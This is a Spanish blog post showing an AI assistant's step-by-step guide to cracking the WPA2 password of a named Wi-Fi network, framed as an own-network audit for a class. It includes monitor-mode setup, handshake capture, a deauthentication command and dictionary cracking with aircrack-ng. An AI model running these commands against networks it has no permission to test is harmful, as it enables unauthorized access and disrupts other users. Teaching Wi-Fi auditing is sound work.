Cuando tu wifi Intel NO te permite auditar tu propia red (por temas legales, debe indicarse así)
Pregunta para la IA:
Para hacer una clase práctica sobre el tema, indica los pasos exactos y explícalos con detalle, para que un portátil con una wifi intel ax211 intente adivinar la contraseña de la wifi "IphoneDeJesus".
Descarga de WifiSlax:
Live Wifislax – GNU/Linux Wireless
Ten en cuenta que te redirige a una web externa, tipo Mega(Upload):
LINK NUEVO https://upfiles.com/Z2CJ
MD5 NUEVO 73bc6d5be9cf75bf9e676fb722c4a740
Kali Linux:
Ojo!!! Tienes para WSL (Subsistema de Windows para Linux):
https://www.kali.org/get-kali/#kali-liveRespuesta:
Puedes hacerlo perfectamente desde Linux usando una live ISO
de pentesting y unas cuantas suites especializadas, siempre que solo audites tu
propia red o tengas permiso expreso.
Aviso legal rápido
- En
España solo puedes auditar redes propias o con autorización del titular;
hacerlo sobre la del vecino, un bar, etc. puede suponer delito de
descubrimiento y revelación de secretos.
- Usa
estas herramientas como prueba de robustez de tu router (hardening), no
para acceso no autorizado.
Distribuciones recomendadas
Para lo que quieres (auditar un solo router y aprender), yo
miraría:
- Kali
Linux: estándar de la industria para pentesting, basada en Debian, con
cientos de herramientas ya preinstaladas y actualizadas a 2025/2026.
- Parrot
Security OS: distro ligera de seguridad/pentesting, también basada en
Debian, algo más liviana y orientada a uso diario que Kali.
- Pentoo:
basada en Gentoo, muy centrada en redes inalámbricas, con kernel
endurecido y muy buen soporte para Wi‑Fi, Bluetooth y SDR.
Para empezar te recomendaría Kali o Parrot en
modo live USB con persistencia; Pentoo tiene más curva de aprendizaje (Gentoo).
Cómo usarlas (resumen práctico)
- Descargar
ISO oficial (Kali o Parrot).
- Grabar
en USB (Rufus, balenaEtcher, Ventoy…).
- Arrancar
el PC desde el USB, activar modo persistente si quieres guardar datos.
- Trabajar
siempre con un solo adaptador Wi‑Fi en modo monitor
(ideal un USB con buen soporte de inyección).
Herramientas clave para auditar tu Wi‑Fi
Todas estas vienen ya en Kali/Parrot o se instalan fácil en
cualquier Linux.
1. Aircrack‑ng (suite básica imprescindible)
- Suite
completa para evaluar seguridad Wi‑Fi: captura, inyección de paquetes,
ataques de deauth, cracking WEP/WPA‑PSK.
- Permite:
- Poner
la tarjeta en modo monitor (airmon‑ng).
- Escanear
redes y clientes (airodump‑ng).
- Lanzar
deauth para forzar handshakes (aireplay‑ng).
- Intentar
romper claves WEP/WPA‑PSK (aircrack‑ng).
Uso típico para auditar tu router:
- airmon-ng
check kill y luego airmon-ng start wlan0.
- airodump-ng
wlan0mon para localizar tu ESSID/BSSID y canal.
- Captura
enfocada: airodump-ng -c <canal> --bssid <BSSID> -w
captura wlan0mon.
- Deauth
a un cliente tuyo: aireplay-ng -0 5 -a <BSSID> -c
<MAC_cliente> wlan0mon.
- Con
el handshake en el .cap, probar fuerza de la contraseña con listas de
palabras usando aircrack-ng.
Si tu clave cae con un diccionario razonable, es señal clara
de que debes endurecerla (más longitud, complejidad y aleatoriedad).
2. Herramientas complementarias (incluidas en distros
pentest)
En Kali/Parrot encontrarás además:
- Reaver
/ Bully: prueban vulnerabilidades relacionadas con WPS si está
activado (muy importante desactivar WPS en el router).
- Wireshark
/ tshark: análisis detallado de tráfico para ver si hay servicios
inseguros, fugas de información, etc.
- Hostapd‑WPE,
freeradius‑WPE: útiles para auditar WPA‑Enterprise, si lo usas en
entornos más avanzados.
Qué puntos del router conviene revisar
Con las herramientas anteriores puedes comprobar:
- Robustez
de la contraseña Wi‑Fi: si un ataque de diccionario razonable la
recupera, es débil.
- Tipo
de cifrado: evita WEP y WPA/WPA2‑TKIP; usa preferiblemente WPA2‑AES o
WPA3‑SAE.
- WPS:
si tu router lo trae activado, desactívalo; reduce muchísimo la superficie
de ataque.
- Aislamiento
de clientes: comprueba con un escaneo (nmap en la LAN) si los clientes
se ven entre sí; en redes de invitados suele ser deseable aislarlos.
- Servicios
expuestos: examina si el router escucha en puertos de administración
desde WAN, UPnP abierto, etc., y desactiva lo que no uses.
¿Ya tienes alguna distro Linux instalada (por ejemplo Mint o
Debian) y prefieres añadir herramientas encima, o te interesa más tirar
directamente de una ISO live tipo Kali en USB?
Para hacer una clase práctica sobre el tema, indica los
pasos exactos y explícalos con detalle, para que un portátil con una wifi intel
ax211 intente adivinar la contraseña de la wifi "IphoneDeJesus".
2 pasos completados
How to Enable MONITOR MODE on Kali Linux
How to Connect Kali Linux to WiFi on Virtualbox
Enabling Monitor Mode on Kali Linux Using airmon-ng
Para tu clase práctica, aquí tienes los pasos exactos para
una demo controlada con Kali Linux, asumiendo que usas tu propia red
Wi-Fi "IphoneDeJesus" (cambia ESSID/BSSID según tu caso
real).
La Intel AX211 soporta modo monitor en kernels Linux
modernos (6.1+), pero no inyección de paquetes de forma fiable
con aircrack-ng, por lo que capturaremos el handshake de forma pasiva (esperando
que un cliente se conecte) o usando un adaptador USB externo compatible para la
parte activa. Recomiendo un Alfa AWUS036ACH o similar para clases completas.
Preparación (5-10 min)
- Descarga
e inicia Kali Linux live:
- Ve
a kali.org, descarga la ISO 2026.x (64-bit), grábala en USB con
Rufus/Ventoy.
- Arranca
desde USB, selecciona "Live (amd64)", abre terminal como root
(o sudo -i).
- Actualiza: apt
update && apt upgrade -y && apt install aircrack-ng. (Ya
viene preinstalado).
- Identifica
tu interfaz Wi-Fi:
iwconfig o ip link show.
Busca algo como wlan0 (para AX211 suele ser wlan0). Nota: Si es AX211 integrada, confirma con lspci | grep Network → "Intel Corporation Wi-Fi 6 AX211". - Mata
procesos conflictivos:
airmon-ng check kill.
Esto cierra NetworkManager, wpa_supplicant, etc., que interfieren.
Paso 1: Activa modo monitor (1 min)
airmon-ng start wlan0.
- Crea wlan0mon (o
similar). Confirma con iwconfig: debe decir "Mode:
Monitor".
- Si
falla (raro en AX211): prueba iw dev wlan0 set type monitor y ip
link set wlan0 up.
Paso 2: Escanea y localiza "IphoneDeJesus" (2
min)
airodump-ng wlan0mon.
- Lista
APs: busca ESSID: IphoneDeJesus, anota:
- BSSID (ej:
AA:BB:CC:DD:EE:FF).
- CH (canal,
ej: 6).
- ENC (debe
ser WPA2-PSK o similar).
- Presiona
Ctrl+C para parar. En clase, explica: "Aquí vemos redes cercanas;
solo tocaremos la nuestra para demo ética".
Paso 3: Captura enfocada del handshake (5-10 min)
airodump-ng -c <CH> --bssid <BSSID> -w captura
wlan0mon.
- -c
CH: fija canal. --bssid: solo esa red. -w captura: guarda en
archivos captura-01.cap, etc.
- Espera:
en la esquina superior derecha sale "WPA
handshake: <BSSID>" cuando captura el 4-way
handshake (al conectarse un cliente).
- Para
clase: Conecta/desconecta un móvil tuyo a "IphoneDeJesus"
para generar handshake pasivo. Si quieres activo (con inyección), usa
adaptador USB:
Nueva terminal: aireplay-ng -0 5 -a <BSSID> -c <MAC_cliente> wlan0mon (desautentica 5 paquetes; cliente se reconecta y genera handshake). - Ctrl+C
una vez capturado. Explica: "El handshake contiene datos para
crackear la PSK sin tocar tráfico sensible".
Paso 4: Intenta crackear la contraseña (5-15 min)
Necesitas una wordlist (diccionario). En Kali: /usr/share/wordlists/rockyou.txt (descomprime
si .gz: gunzip rockyou.txt.gz). O crea una simple para clase: echo -e
"password\n12345678\nIphoneDeJesus" > miwordlist.txt.
aircrack-ng -w /usr/share/wordlists/rockyou.txt
captura-01.cap.
- Analiza
el .cap, prueba claves del diccionario contra el handshake.
- Si
encuentra: "KEY FOUND! [ clave ]". Si no: prueba diccionario
mejor o explica que contraseñas fuertes resisten (hashcat en GPU para
brute-force real).
- En
clase: Usa clave débil intencional para demo éxito; enfatiza "Nunca
en redes ajenas".
Limpieza y cierre (1 min)
- airmon-ng
stop wlan0mon.
- service
NetworkManager restart (o reboot).
- Analiza
.cap con Wireshark si quieres: wireshark captura-01.cap.
Notas para tu clase (IT/educativa)
|
Aspecto |
Detalle |
Por qué importa |
|
Hardware |
AX211 OK para captura pasiva; USB Alfa para
inyección. |
Demuestra limitaciones reales de chips integrados. |
|
Ética |
Solo tu red; graba consentimiento si alumnos prueban. |
Evita problemas legales (España: art. 197 CP). |
|
Tiempo |
20-30 min total; prepara red débil заранее. |
Ideal para UF en ciberseguridad. |
|
Extensiones |
Hashcat para GPU, hcxdumptool para captura moderna. |
Para niveles avanzados. |
Esto genera discusión: ¿WPA3? ¿Detección de deauth?
¿Hardening routers? Prueba primero en VM si dudas del hardware.
¿Quieres que prepare un script bash automatizado para la
clase o ejemplos de hardening post-auditoría?
Comentarios
Publicar un comentario